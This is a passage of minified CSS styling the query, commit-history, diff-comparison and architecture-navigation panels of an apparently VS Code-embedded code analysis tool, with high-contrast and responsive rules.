span,.workbench-state-spinner{animation:none!important}}.architecture-shell{background:var(--background);height:100vh;color:var(--foreground);grid-template-columns:minmax(220px,280px) minmax(0,1fr);display:grid}.query-shell{--query-surface:var(--vscode-editor-background,var(--background));--query-surface-raised:var(--vscode-editorWidget-background,var(--vscode-sideBar-background,var(--card)));--query-border:var(--vscode-panel-border,var(--border));--query-input:var(--vscode-input-background,var(--background));--query-input-foreground:var(--vscode-input-foreground,var(--foreground));--query-accent:var(--vscode-focusBorder,var(--ring));background:var(--background);height:100vh;min-height:420px;color:var(--foreground);grid-template-rows:auto 1fr;display:grid;overflow:hidden}.query-header{border-bottom:1px solid var(--query-border);background:var(--query-surface);padding:14px 18px 16px}.query-heading-row{justify-content:space-between;align-items:flex-start;gap:16px;display:flex}.query-context{color:var(--muted-foreground);font:10px/1.35 var(--compass-font-mono);letter-spacing:.04em;text-transform:uppercase}.query-heading-row h1{margin:3px 0 0;font-size:16px;font-weight:600;line-height:1.3}.query-mode{border-bottom:1px solid var(--query-border);background:0 0;gap:0;width:100%;margin-top:14px;display:flex}.query-mode button{min-width:min(280px,50%);min-height:48px;color:var(--muted-foreground);font:inherit;text-align:left;background:0 0;border:0;border-top:2px solid #0000;border-radius:0;grid-template-columns:18px minmax(0,1fr);align-items:center;gap:8px;padding:7px 12px 8px;display:grid;position:relative}.query-mode button:hover{background:var(--workbench-hover);color:var(--foreground)}.query-mode button[aria-selected=true]{border-top-color:var(--vscode-tab-activeBorder,var(--query-accent));background:var(--vscode-tab-activeBackground,var(--query-surface-raised));box-shadow:inset 1px 0 var(--query-border),inset -1px 0 var(--query-border);color:var(--vscode-tab-activeForeground,var(--foreground))}.query-mode button[aria-selected=true] svg,.query-mode button[aria-selected=true] strong{opacity:1}.query-mode svg{width:15px;height:15px}.query-mode button>span,.query-mode strong,.query-mode small{min-width:0;display:block}.query-mode strong{font-size:12px;font-weight:600;line-height:1.3}.query-mode small{color:inherit;opacity:.78;text-overflow:ellipsis;white-space:nowrap;margin-top:2px;font-size:10px;font-weight:400;line-height:1.3;overflow:hidden}.query-composer-panel{border:1px solid var(--query-border);background:var(--query-surface-raised);border-top:0;padding:12px}.query-composer{display:block}.query-editor-shell{border:1px solid var(--vscode-input-border,var(--border));background:var(--query-input);color:var(--query-input-foreground);border-radius:3px;overflow:hidden}.query-editor-shell:focus-within{border-color:var(--ring);outline:1px solid var(--ring);outline-offset:-1px}.query-editor{min-width:0;position:relative}.query-editor textarea{resize:vertical;background:var(--query-input);width:100%;min-height:96px;max-height:260px;color:inherit;font:13px/1.55 var(--compass-font-sans);box-sizing:border-box;border:0;border-radius:0;outline:none;padding:11px 12px;display:block}.query-composer-panel[data-mode=cql] .query-editor textarea{font-family:var(--compass-font-mono);font-size:12px}.query-editor textarea::placeholder,.query-params input::placeholder{color:var(--vscode-input-placeholderForeground,var(--muted-foreground))}.query-params input:focus-visible{border-color:var(--ring);outline:1px solid var(--ring);outline-offset:-1px}.query-composer-footer{border-top:1px solid var(--query-border);background:var(--query-surface);align-items:center;gap:12px;min-height:40px;padding:5px 6px 5px 10px;display:flex}.query-footer-actions{flex:none;justify-content:flex-end;align-items:center;gap:8px;margin-left:auto;display:flex}.query-shortcut{color:var(--vscode-disabledForeground,var(--compass-faint));font:10px/1 var(--compass-font-sans);white-space:nowrap}.query-run{border:1px solid var(--vscode-button-border,transparent);background:var(--vscode-button-background,var(--primary));min-width:76px;min-height:30px;color:var(--vscode-button-foreground,var(--primary-foreground));font:inherit;border-radius:3px;justify-content:center;align-items:center;gap:6px;padding:5px 11px;font-size:12px;display:flex}.query-run:hover:not(:disabled){background:var(--vscode-button-hoverBackground,var(--primary))}.query-run:disabled{background:var(--vscode-button-secondaryBackground,var(--secondary));color:var(--vscode-disabledForeground,var(--compass-faint))}.query-run svg{width:13px;height:13px}.query-params{min-width:0;max-width:620px;color:var(--muted-foreground);flex:520px;align-items:center;gap:8px;font-size:10px;display:flex}.query-params>span{flex:none}.query-params input{border:1px solid var(--vscode-input-border,var(--border));background:var(--vscode-input-background,var(--input));min-width:0;max-width:520px;height:28px;color:var(--vscode-input-foreground,var(--foreground));font:11px var(--compass-font-mono);border-radius:3px;outline:none;flex:260px;padding:3px 8px}.query-examples{align-items:center;gap:5px;margin-top:9px;display:flex;overflow-x:auto}.query-examples>span{color:var(--muted-foreground);text-transform:uppercase;flex:none;font-size:10px;font-weight:600}.query-examples button,.query-history button{border:1px solid var(--border);color:var(--muted-foreground);font:inherit;white-space:nowrap;background:0 0;border-radius:3px;padding:4px 7px;font-size:10px}.query-examples button:hover,.query-history button:hover{background:var(--workbench-hover);color:var(--foreground)}.query-results{min-height:0;padding:clamp(12px,2vw,22px);overflow:auto}.query-results>.workbench-state,.query-empty{min-height:100%}.query-result{width:min(1180px,100%);margin:0 auto}.query-result>header{justify-content:space-between;align-items:flex-start;gap:12px;margin-bottom:9px;display:flex}.query-result>header span{color:var(--muted-foreground);font-size:10px}.query-result>header>span{font-family:var(--compass-font-mono);align-items:center;gap:5px;display:flex}.query-result>header svg{width:12px;height:12px}.query-result h2{margin:2px 0 0;font-size:14px;font-weight:600}.query-text-result,.query-json-result{border:1px solid var(--border);background:var(--vscode-textCodeBlock-background,var(--card));min-height:120px;color:var(--foreground);font:12px/1.6 var(--compass-font-mono);white-space:pre-wrap;overflow-wrap:anywhere;border-radius:3px;margin:0;padding:12px;overflow:auto}.query-prose-result{border:1px solid var(--query-border);background:var(--query-surface-raised);color:var(--foreground);border-radius:3px;padding:14px 16px;font-size:13px;line-height:1.65}.query-prose-result p,.query-prose-result ul{margin:0}.query-prose-result p+p,.query-prose-result p+ul,.query-prose-result ul+p{margin-top:10px}.query-prose-result ul{padding-left:20px}.query-traversal-result{gap:10px;display:grid}.query-traversal-summary{border:1px solid var(--query-border);border-left:3px solid var(--query-accent);background:var(--query-surface-raised);justify-content:space-between;align-items:center;gap:16px;min-height:54px;padding:10px 12px;display:flex}.query-traversal-summary p{color:var(--foreground);margin:0;font-size:12px;font-weight:600}.query-result-metrics{color:var(--muted-foreground);flex-wrap:wrap;gap:5px 14px;margin-top:5px;font-size:10px;display:flex}.query-result-metrics strong{color:var(--foreground);font-weight:600}.query-graph-action{border:1px solid var(--vscode-button-border,transparent);background:var(--vscode-button-secondaryBackground,var(--secondary));min-height:30px;color:var(--vscode-button-secondaryForeground,var(--secondary-foreground));font:11px var(--compass-font-sans);border-radius:3px;flex:none;align-items:center;gap:6px;padding:5px 9px;display:inline-flex}.query-graph-action:hover{background:var(--vscode-button-secondaryHoverBackground,var(--workbench-hover))}.query-graph-action svg{width:14px;height:14px}.query-node-results{border:1px solid var(--query-border);background:var(--query-surface);border-radius:3px;overflow:hidden}.query-node-result{border-bottom:1px solid var(--query-border);grid-template-columns:18px minmax(160px,.72fr) minmax(240px,1.28fr);align-items:center;gap:9px;min-width:0;min-height:48px;padding:7px 10px;display:grid}.query-node-result:last-child{border-bottom:0}.query-node-result:hover{background:var(--workbench-hover)}.query-node-result>svg{width:14px;height:14px;color:var(--vscode-symbolIcon-functionForeground,var(--query-accent))}.query-node-copy,.query-node-copy h3,.query-node-copy p{min-width:0}.query-node-copy h3,.query-node-copy p{text-overflow:ellipsis;white-space:nowrap;margin:0;overflow:hidden}.query-node-copy h3{color:var(--vscode-editor-foreground,var(--foreground));font-size:12px;font-weight:600}.query-node-copy p{color:var(--muted-foreground);margin-top:2px;font-size:10px}.query-source-action{min-width:0;color:var(--workbench-link);font:10px/1.4 var(--compass-font-mono);text-align:left;background:0 0;border:1px solid #0000;border-radius:3px;justify-content:space-between;align-items:center;gap:8px;padding:5px 7px;display:flex;overflow:hidden}.query-source-action:hover{border-color:var(--query-border);background:var(--vscode-editorHoverWidget-background,var(--query-surface-raised))}.query-source-action span{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.query-source-action small{color:var(--muted-foreground);font:10px var(--compass-font-mono);flex:none}.query-source-missing{color:var(--vscode-disabledForeground,var(--compass-faint));font:10px var(--compass-font-mono)}.query-table{border:1px solid var(--border);border-radius:3px;overflow:auto}.query-table table{border-collapse:collapse;width:100%;min-width:480px;font-size:11px}.query-table thead{background:var(--workbench-table-header);position:sticky;top:0}.query-table th,.query-table td{border-bottom:1px solid var(--border);text-align:left;text-overflow:ellipsis;white-space:nowrap;max-width:380px;padding:7px 9px;overflow:hidden}.query-table th{color:var(--muted-foreground);font-weight:500}.query-table tbody tr:hover{background:var(--workbench-hover)}.query-table tr:last-child td{border-bottom:0}.query-empty{place-content:center;display:grid}.query-history{text-align:center;width:min(720px,100vw - 40px);margin:-28px auto 20px}.query-history h2{color:var(--muted-foreground);margin:0 0 7px;font-size:10px;font-weight:500}.query-history button{text-overflow:ellipsis;max-width:min(100%,460px);margin:2px;overflow:hidden}.query-shell button:focus-visible{outline:2px solid var(--ring);outline-offset:1px}body.vscode-high-contrast .query-mode,body.vscode-high-contrast-light .query-mode,body.vscode-high-contrast .query-text-result,body.vscode-high-contrast-light .query-text-result,body.vscode-high-contrast .query-json-result,body.vscode-high-contrast-light .query-json-result,body.vscode-high-contrast .query-table,body.vscode-high-contrast-light .query-table,body.vscode-high-contrast .query-composer-panel,body.vscode-high-contrast-light .query-composer-panel,body.vscode-high-contrast .query-editor-shell,body.vscode-high-contrast-light .query-editor-shell,body.vscode-high-contrast .query-prose-result,body.vscode-high-contrast-light .query-prose-result,body.vscode-high-contrast .query-traversal-summary,body.vscode-high-contrast-light .query-traversal-summary,body.vscode-high-contrast .query-node-results,body.vscode-high-contrast-light .query-node-results{border-width:2px;border-color:var(--vscode-contrastBorder,var(--ring))}body.vscode-high-contrast .query-mode button[aria-selected=true],body.vscode-high-contrast-light .query-mode button[aria-selected=true]{border:2px solid var(--vscode-contrastBorder,var(--ring));border-bottom:0}.history-shell{background:var(--background);height:100vh;min-height:440px;color:var(--foreground);grid-template-columns:minmax(270px,340px) minmax(0,1fr);display:grid;overflow:hidden}.history-bootstrap{background:var(--vscode-editor-background,var(--background));place-items:center;min-height:100vh;display:grid}.history-sidebar{border-right:1px solid var(--border);background:var(--sidebar);min-width:0;min-height:0;color:var(--sidebar-foreground);flex-direction:column;display:flex}.history-sidebar-header{border-bottom:1px solid var(--border);flex:none;padding:14px 12px 12px}.history-title{align-items:flex-start;gap:9px;display:flex}.history-title>svg{width:16px;height:16px;color:var(--muted-foreground);margin-top:1px}.history-title h1{margin:0;font-size:13px;font-weight:600;line-height:1.25}.history-title p{color:var(--muted-foreground);margin:3px 0 0;font-size:11px}.history-search{align-items:center;margin-top:12px;display:flex;position:relative}.history-search>svg{width:14px;height:14px;color:var(--vscode-input-placeholderForeground,var(--muted-foreground));pointer-events:none;position:absolute;left:8px}.history-search input,.history-mobile-select select{border:1px solid var(--vscode-input-border,transparent);background:var(--vscode-input-background,var(--input));width:100%;min-height:28px;color:var(--vscode-input-foreground,var(--foreground));font:inherit;border-radius:2px;outline:none;font-size:12px}.history-search input{padding:4px 8px 4px 28px}.history-search input::placeholder{color:var(--vscode-input-placeholderForeground,var(--muted-foreground))}.history-search input:focus-visible,.history-mobile-select select:focus-visible,.history-rail:focus-visible,.history-commit:focus-visible{border-color:var(--ring);outline:1px solid var(--ring);outline-offset:-1px}.history-mobile-select{display:none}.history-rail{outline:none;flex:auto;min-height:0;overflow:auto}.history-pagination{border-top:1px solid var(--border);color:var(--muted-foreground);flex:none;justify-items:start;gap:6px;padding:8px 10px;font-size:11px;display:grid}.history-pagination [role=alert]{color:var(--destructive)}.history-commit{border:0;border-bottom:1px solid var(--border);width:100%;color:inherit;text-align:left;background:0 0;border-radius:0;align-items:center;gap:.625rem;padding:8px 11px;display:flex;position:absolute;left:0;right:0}.history-commit:hover{background:var(--workbench-hover);color:var(--workbench-hover-foreground)}.history-commit[aria-selected=true]{background:var(--sidebar-accent);color:var(--sidebar-accent-foreground);box-shadow:inset 2px 0 var(--sidebar-primary)}.history-commit>svg{width:15px;height:15px;color:var(--muted-foreground);flex:none}.history-commit>svg[data-state=available]{color:var(--compass-success)}.history-commit>svg[data-state=building]{color:var(--vscode-progressBar-background,var(--ring))}.history-commit>svg[data-state=failed]{color:var(--destructive)}.history-commit-row-copy,.history-commit-subject,.history-commit-byline{min-width:0}.history-commit-row-copy{flex:1;display:block}.history-commit-subject{text-overflow:ellipsis;white-space:nowrap;font-size:12px;font-weight:500;line-height:1.4;display:block;overflow:hidden}.history-commit-byline{color:var(--muted-foreground);white-space:nowrap;align-items:center;gap:5px;margin-top:3px;font-size:10px;display:flex;overflow:hidden}.history-commit[aria-selected=true] .history-commit-byline{color:currentColor}@supports (color:color-mix(in lab,red,red)){.history-commit[aria-selected=true] .history-commit-byline{color:color-mix(in srgb,currentColor 72%,transparent)}}.history-commit-byline code{color:inherit;font-family:var(--compass-font-mono)}.history-commit-byline span{text-overflow:ellipsis;overflow:hidden}.history-commit-byline time{margin-left:auto}.history-content{background:var(--vscode-editor-background,var(--background));min-width:0;min-height:0;padding:16px;overflow:auto}.history-commit-details{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));padding:14px}.history-commit-heading{justify-content:space-between;align-items:flex-start;gap:16px;display:flex}.history-commit-copy{min-width:0}.history-eyebrow{color:var(--muted-foreground);letter-spacing:.06em;text-transform:uppercase;font-size:10px;font-weight:600;display:block}.history-commit-copy h2{overflow-wrap:anywhere;margin:4px 0 0;font-size:16px;font-weight:600;line-height:1.35}.history-commit-metadata{color:var(--muted-foreground);flex-wrap:wrap;gap:4px 12px;margin-top:7px;font-size:11px;display:flex}.history-commit-metadata code{color:var(--vscode-textLink-foreground,var(--workbench-link));font-family:var(--compass-font-mono)}.history-state-badge{text-transform:capitalize;border-radius:2px;flex:none}.history-commit-actions,.history-change-counts{flex-wrap:wrap;gap:6px;margin-top:12px;display:flex}.history-change-counts-help{color:var(--vscode-descriptionForeground,#9aa7b7);margin:-.15rem 0 0;font-size:.78rem;line-height:1.45}.history-commit-actions:empty{display:none}.history-commit-actions button{border-radius:2px}.history-comparison-help,.history-inline-error{color:var(--muted-foreground);margin:9px 0 0;font-size:11px;line-height:1.45}.history-inline-error{color:var(--destructive)}.history-change-counts{color:var(--muted-foreground);font-size:11px}.history-change-counts span{border:1px solid var(--border);background:var(--vscode-badge-background,var(--muted));color:var(--vscode-badge-foreground,var(--foreground));border-radius:2px;padding:3px 6px}.history-change-counts strong{font-weight:600}.history-comparison,.history-diff-evidence{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));color:var(--vscode-editor-foreground,var(--foreground));margin-top:12px}.history-comparison{box-shadow:inset 3px 0 0 var(--vscode-focusBorder,var(--ring))}.history-comparison-heading{grid-template-columns:18px minmax(0,1fr) auto;align-items:start;gap:8px;padding:11px 12px 9px;display:grid}.history-comparison-heading>svg,.history-diff-heading>svg{width:15px;height:15px;color:var(--vscode-focusBorder,var(--ring));margin-top:2px}.history-comparison-heading h2{color:var(--vscode-editor-foreground,var(--foreground));margin:2px 0 0;font-size:13px;font-weight:600}.history-comparison-heading code{color:var(--vscode-textLink-foreground,var(--workbench-link));font-family:var(--compass-font-mono);background:0 0}.history-comparison-heading button{border:1px solid var(--border);min-height:26px;color:var(--foreground);background:0 0;border-radius:2px;align-items:center;gap:5px;padding:3px 7px;font-size:10px;display:inline-flex}.history-comparison-heading button:hover{border-color:var(--vscode-focusBorder,var(--ring));background:var(--workbench-hover)}.history-comparison-heading button svg{width:12px;height:12px}.history-comparison-legend{font:10px/1.4 var(--compass-font-mono);flex-wrap:wrap;gap:6px;padding:0 12px 10px 38px;display:flex}.history-delta-card{border:1px solid var(--border);background:var(--vscode-editor-foreground,var(--foreground));border-radius:2px;gap:4px;min-width:200px;padding:6px 8px;display:grid}@supports (color:color-mix(in lab,red,red)){.history-delta-card{background:color-mix(in srgb,var(--vscode-editor-foreground,var(--foreground)) 5%,var(--vscode-editor-background,var(--background)))}}.history-delta-card{color:var(--vscode-editor-foreground,var(--foreground))}.history-delta-card>span{flex-wrap:wrap;gap:5px 10px;display:flex}.history-delta-card strong{color:var(--vscode-editor-foreground,var(--foreground));text-transform:capitalize}.history-delta-card i{font-style:normal;font-weight:600}.history-delta-card i small{color:var(--muted-foreground);font-size:9px;font-weight:400}.history-delta-card i[data-change=added]{color:var(--vscode-gitDecoration-addedResourceForeground,#2ea043)}.history-delta-card i[data-change=removed]{color:var(--vscode-gitDecoration-deletedResourceForeground,#f85149)}.history-delta-card i[data-change=changed]{color:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922)}.history-comparison-empty{border-top:1px solid var(--border);color:var(--muted-foreground);gap:2px;padding:9px 12px 10px 38px;font-size:11px;display:grid}.history-comparison-empty strong{color:var(--foreground);font-size:12px}.history-comparison-workspace{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));min-width:0;color:var(--vscode-editor-foreground,var(--foreground));margin-top:12px;overflow:hidden}.history-comparison-tabs{border-bottom:1px solid var(--border);background:var(--vscode-editorGroupHeader-tabsBackground,var(--vscode-sideBar-background,var(--background)));scrollbar-width:thin;min-width:0;display:flex;overflow-x:auto}.history-comparison-tabs button{border:0;border-right:1px solid var(--border);min-width:max-content;min-height:41px;color:var(--vscode-tab-inactiveForeground,var(--muted-foreground));font:11px/1 var(--compass-font-sans);background:0 0;align-items:center;gap:7px;padding:0 14px;display:inline-flex;position:relative}.history-comparison-tabs button:hover{background:var(--workbench-hover);color:var(--vscode-tab-activeForeground,var(--foreground))}.history-comparison-tabs button[aria-selected=true]{background:var(--vscode-tab-activeBackground,var(--vscode-editor-background,var(--background)));color:var(--vscode-tab-activeForeground,var(--foreground));box-shadow:inset 0 2px 0 var(--vscode-tab-activeBorder,var(--vscode-focusBorder,var(--ring)))}.history-comparison-tabs button:focus-visible{z-index:1;outline:1px solid var(--vscode-focusBorder,var(--ring));outline-offset:-2px}.history-comparison-tabs button>svg{width:14px;height:14px;color:var(--vscode-focusBorder,var(--ring))}.history-comparison-tab-count{border:1px solid var(--border);background:var(--vscode-badge-background,var(--muted));min-width:19px;height:19px;color:var(--vscode-badge-foreground,var(--foreground));font:9px/1 var(--compass-font-mono);border-radius:9px;justify-content:center;align-items:center;padding:0 5px;display:inline-flex}.history-comparison-tab-panel{background:var(--vscode-editor-background,var(--background));min-width:0}.history-evidence-panel{min-width:0;padding:15px 15px 17px}.history-evidence-header{border-bottom:1px solid var(--border);padding-bottom:12px}.history-evidence-header>p,.history-findings-header>div>p{color:var(--muted-foreground);margin:4px 0 0 22px;font-size:11px;line-height:1.45}.history-diff-heading{align-items:center;gap:7px;display:flex}.history-diff-heading h2{margin:0;font-size:13px;font-weight:600}.history-findings-header{justify-content:space-between;align-items:flex-start;gap:16px;display:flex}.history-findings-expand{border:1px solid var(--border);min-height:27px;color:var(--foreground);background:0 0;border-radius:2px;flex:none;padding:4px 9px;font-size:10px}.history-findings-expand:hover{border-color:var(--vscode-focusBorder,var(--ring));background:var(--workbench-hover)}.history-source-changes{gap:6px;margin-top:12px;display:grid}.history-source-changes details{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));color:var(--vscode-editor-foreground,var(--foreground));border-radius:2px;overflow:hidden}.history-diff-toolbar{align-items:center;gap:6px;margin-top:12px;display:flex}.history-diff-layout{border:1px solid var(--border);border-radius:2px;display:inline-flex;overflow:hidden}.history-diff-toolbar button{min-height:25px;color:var(--muted-foreground);background:0 0;border:0;padding:3px 8px;font-size:10px}.history-diff-layout button+button{border-left:1px solid var(--border)}.history-diff-toolbar button:hover:not(:disabled){background:var(--workbench-hover);color:var(--foreground)}.history-diff-toolbar button[aria-pressed=true],.history-diff-toolbar button[aria-pressed=true]:hover{background:var(--vscode-tab-activeBackground,var(--vscode-editor-background,var(--background)));color:var(--vscode-tab-activeForeground,var(--vscode-editor-foreground,var(--foreground)));box-shadow:inset 0 2px 0 var(--vscode-tab-activeBorder,var(--vscode-focusBorder,var(--ring)))}.history-diff-toolbar button:disabled{cursor:not-allowed;opacity:.45}.history-diff-wrap{min-height:25px;color:var(--muted-foreground);align-items:center;gap:5px;font-size:10px;display:inline-flex}.history-diff-wrap input{margin:0}.history-diff-expand{border-radius:2px;margin-left:auto;border:1px solid var(--border)!important}.history-source-changes summary{cursor:pointer;border-bottom:1px solid var(--border);background:var(--vscode-editorGroupHeader-tabsBackground,var(--background));justify-content:space-between;align-items:center;gap:10px;padding:6px 8px;font-size:10px;display:flex}.history-source-path{align-items:center;gap:8px;min-width:0;display:inline-flex}.history-source-path code{color:var(--vscode-textLink-foreground,var(--workbench-link));font-family:var(--compass-font-mono);text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.history-source-path small{color:var(--muted-foreground);text-transform:capitalize;font-size:9px}.history-source-stats{font-family:var(--compass-font-mono);flex:none;gap:6px;display:inline-flex}.history-source-stats i{font-style:normal;font-weight:600}.history-source-stats i[data-change=added]{color:var(--vscode-gitDecoration-addedResourceForeground,#2ea043)}.history-source-stats i[data-change=removed]{color:var(--vscode-gitDecoration-deletedResourceForeground,#f85149)}.history-source-diff{contain:inline-size;background:var(--vscode-editor-background,var(--background));width:100%;min-width:0;max-width:100%;display:block}.history-diff-fallback>p{border-bottom:1px solid var(--border);color:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922);margin:0;padding:7px 8px}.history-diff-fallback pre{max-height:260px;color:var(--vscode-editor-foreground,var(--foreground));font:10px/1.5 var(--compass-font-mono);white-space:pre;margin:0;padding:8px;overflow:auto}.history-source-changes p,.history-diff-empty{color:var(--muted-foreground);margin:12px 0 0;font-size:11px}.history-finding-list{gap:10px;margin-top:14px;display:grid}.history-finding-list details{border:1px solid var(--border);background:var(--vscode-editor-foreground,var(--foreground));border-radius:4px;overflow:hidden}@supports (color:color-mix(in lab,red,red)){.history-finding-list details{background:color-mix(in srgb,var(--vscode-editor-foreground,var(--foreground)) 2%,var(--vscode-editor-background,var(--background)))}}.history-finding-list details{color:var(--vscode-editor-foreground,var(--foreground))}.history-finding-list details[open]{border-color:var(--vscode-focusBorder,var(--ring))}@supports (color:color-mix(in lab,red,red)){.history-finding-list details[open]{border-color:color-mix(in srgb,var(--vscode-focusBorder,var(--ring)) 58%,var(--border))}}.history-finding-list details[open]{box-shadow:inset 3px 0 0 var(--vscode-focusBorder,var(--ring))}.history-finding-list summary{cursor:pointer;grid-template-columns:28px minmax(0,1fr) 16px;align-items:center;gap:11px;min-height:58px;padding:11px 13px;list-style:none;display:grid}.history-finding-list summary::-webkit-details-marker{display:none}.history-finding-list summary:hover{background:var(--workbench-hover)}.history-finding-list summary:focus-visible{outline:1px solid var(--vscode-focusBorder,var(--ring));outline-offset:-2px}.history-finding-index{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));width:27px;height:27px;color:var(--vscode-focusBorder,var(--ring));font:600 10px/1 var(--compass-font-mono);border-radius:3px;justify-content:center;align-items:center;display:inline-flex}.history-finding-summary{gap:4px;min-width:0;display:grid}.history-finding-summary strong{text-overflow:ellipsis;white-space:nowrap;font-size:12px;font-weight:600;line-height:1.35;overflow:hidden}.history-finding-summary small{color:var(--muted-foreground);font-size:10px}.history-finding-list summary>svg{width:15px;height:15px;color:var(--muted-foreground);transition:transform .12s}.history-finding-list details[open] summary>svg{transform:rotate(90deg)}.history-finding-body{border-top:1px solid var(--border);padding:0 14px 15px 52px}.history-finding-body>p{color:var(--muted-foreground);margin:13px 0 0;font-size:11px}.history-finding-body dl{gap:0;margin:0;display:grid}.history-finding-body dl>div{border-bottom:1px solid var(--border);grid-template-columns:minmax(110px,170px) minmax(0,1fr);gap:16px;padding:12px 0;display:grid}.history-finding-body dl>div:last-child{border-bottom:0;padding-bottom:0}.history-finding-body dt{color:var(--muted-foreground);letter-spacing:.06em;text-transform:uppercase;font-size:9px;font-weight:600}.history-finding-body dd{min-width:0;margin:0;font-size:11px;line-height:1.5}.history-finding-body dd ul{gap:5px;margin:0;padding-left:17px;display:grid}.history-finding-body dd pre{border:1px solid var(--border);background:var(--vscode-textCodeBlock-background,var(--muted));max-height:280px;color:var(--vscode-editor-foreground,var(--foreground));font:10px/1.55 var(--compass-font-mono);white-space:pre-wrap;border-radius:3px;margin:0;padding:9px 10px;overflow:auto}.history-finding-body dd code{font-family:var(--compass-font-mono)}.history-finding-muted{color:var(--muted-foreground);font-style:italic}.history-findings-empty{border:1px dashed var(--border);color:var(--muted-foreground);border-radius:4px;align-items:flex-start;gap:10px;margin-top:14px;padding:15px;display:flex}.history-findings-empty>svg{width:17px;height:17px;color:var(--vscode-focusBorder,var(--ring))}.history-findings-empty strong{color:var(--foreground);font-size:12px}.history-findings-empty p{margin:4px 0 0;font-size:11px}.history-standalone-evidence{gap:12px;margin-top:12px;display:grid}.history-standalone-evidence>section{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background))}.history-graph-frame{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));height:max(400px,100vh - 190px);min-height:360px;margin-top:12px;display:grid;overflow:hidden}.history-graph-frame-tabbed{border:0;height:max(460px,100vh - 230px);min-height:420px;margin-top:0}.history-graph-ready,.history-graph-canvas{min-width:0;min-height:0}.history-graph-ready{flex-direction:column;display:flex}.history-graph-status{border-bottom:1px solid var(--border);background:var(--vscode-editorGroupHeader-tabsBackground,var(--background));min-height:30px;color:var(--muted-foreground);flex:none;padding:7px 10px;font-size:11px}.history-graph-status span{color:var(--foreground);font-family:var(--compass-font-mono)}.history-graph-canvas{isolation:isolate;flex:1;position:relative}.history-graph-canvas .compass-workspace{height:100%;min-height:0}.history-content>section:last-child{margin-top:12px}body.vscode-high-contrast .history-sidebar,body.vscode-high-contrast-light .history-sidebar,body.vscode-high-contrast .history-commit-details,body.vscode-high-contrast-light .history-commit-details,body.vscode-high-contrast .history-graph-frame,body.vscode-high-contrast-light .history-graph-frame,body.vscode-high-contrast .history-comparison,body.vscode-high-contrast-light .history-comparison,body.vscode-high-contrast .history-diff-evidence,body.vscode-high-contrast-light .history-diff-evidence,body.vscode-high-contrast .history-comparison-workspace,body.vscode-high-contrast-light .history-comparison-workspace,body.vscode-high-contrast .history-finding-list details,body.vscode-high-contrast-light .history-finding-list details,body.vscode-high-contrast .history-source-changes details,body.vscode-high-contrast-light .history-source-changes details,body.vscode-high-contrast .history-change-counts span,body.vscode-high-contrast-light .history-change-counts span,body.vscode-high-contrast .compass-change-legend,body.vscode-high-contrast-light .compass-change-legend,body.vscode-high-contrast .compass-change-badge,body.vscode-high-contrast-light .compass-change-badge{border-color:var(--vscode-contrastBorder,var(--ring));border-width:2px}@media(max-width:760px){.query-header{padding:10px}.query-heading-row,.query-composer{flex-direction:column;align-items:stretch}.query-mode{align-self:flex-start}.history-diff-toolbar{flex-wrap:wrap}.history-diff-expand{margin-left:0}.history-comparison-tabs button{min-height:39px;padding-inline:11px}.history-evidence-panel{padding:12px}.history-findings-header{flex-direction:column;align-items:stretch}.history-findings-expand{align-self:flex-start}.history-finding-body{padding-left:14px}.history-finding-body dl>div{grid-template-columns:1fr;gap:5px}.query-composer-footer{flex-wrap:wrap}.query-params{flex:1 0 100%;max-width:none}.query-params input{max-width:none}.query-footer-actions{justify-content:flex-end;width:100%}.query-examples{padding-bottom:2px}.compass-load-shell[data-variant=architecture]{text-align:center;grid-template-rows:auto auto auto;grid-template-columns:1fr}.compass-load-shell[data-variant=architecture] .compass-load-visual,.compass-load-shell[data-variant=architecture] .compass-load-copy,.architecture-load-skeleton{grid-column:1}.compass-load-shell[data-variant=architecture] .compass-load-visual{margin:0 auto}.compass-load-shell[data-variant=architecture] .compass-load-steps{justify-content:center}.architecture-load-skeleton{grid-row:3;width:min(88vw,460px);height:190px;margin-top:14px}.history-shell{grid-template-rows:auto minmax(0,1fr);grid-template-columns:1fr}.history-sidebar{border-right:0;border-bottom:1px solid var(--border)}.history-sidebar-header{padding:10px}.history-title p,.history-search,.history-rail{display:none}.history-mobile-select{color:var(--muted-foreground);gap:4px;margin-top:9px;font-size:10px;display:grid}.history-mobile-select select{padding:4px 7px}.history-content{padding:10px}.history-commit-heading{gap:8px}.history-commit-metadata{gap:3px;display:grid}.history-graph-frame{height:max(750px,102vh + 30px);margin-top:10px}.history-graph-canvas .compass-workspace{height:auto;min-height:max(720px,102vh)}}@media(max-width:420px){.query-params{flex-direction:column;align-items:stretch;gap:4px}.query-params input{flex:none;width:100%}}.architecture-nav{border-right:1px solid var(--border);background:var(--sidebar);min-height:0;color:var(--sidebar-foreground);flex-direction:column;display:flex}.architecture-nav-header{border-bottom:1px solid var(--border);padding:14px 14px 12px}.architecture-nav-header>span,.architecture-eyebrow{color:var(--muted-foreground);letter-spacing:.08em;text-transform:uppercase;font-size:10px;font-weight:600;display:block}.architecture-nav-header h1{text-overflow:ellipsis;white-space:nowrap;margin:4px 0 0;font-size:13px;font-weight:600;line-height:1.35;overflow:hidden}.architecture-section-list{flex:1;min-height:0;padding:5px;overflow:auto}.architecture-section-list>button{width:100%;min-height:48px;color:inherit;text-align:left;background:0 0;border:1px solid #0000;border-radius:3px;grid-template-columns:18px minmax(0,1fr);align-items:start;gap:7px;padding:7px 8px;display:grid}.architecture-section-list>button:hover{background:var(--workbench-hover);color:var(--workbench-hover-foreground)}.architecture-section-list>button[aria-current=page]{border-color:var(--vscode-list-activeSelectionBackground,var(--sidebar-primary));background:var(--sidebar-accent);color:var(--sidebar-accent-foreground)}.architecture-section-list svg{width:14px;height:14px;margin-top:2px}.architecture-section-list strong,.architecture-section-list small{text-overflow:ellipsis;white-space:nowrap;display:block;overflow:hidden}.architecture-section-list strong{font-size:12px;font-weight:500}.architecture-section-list small{color:var(--muted-foreground);margin-top:2px;font-size:10px}.architecture-section-list>button[aria-current=page] small{color:inherit;opacity:.78}.architecture-stats{border-top:1px solid 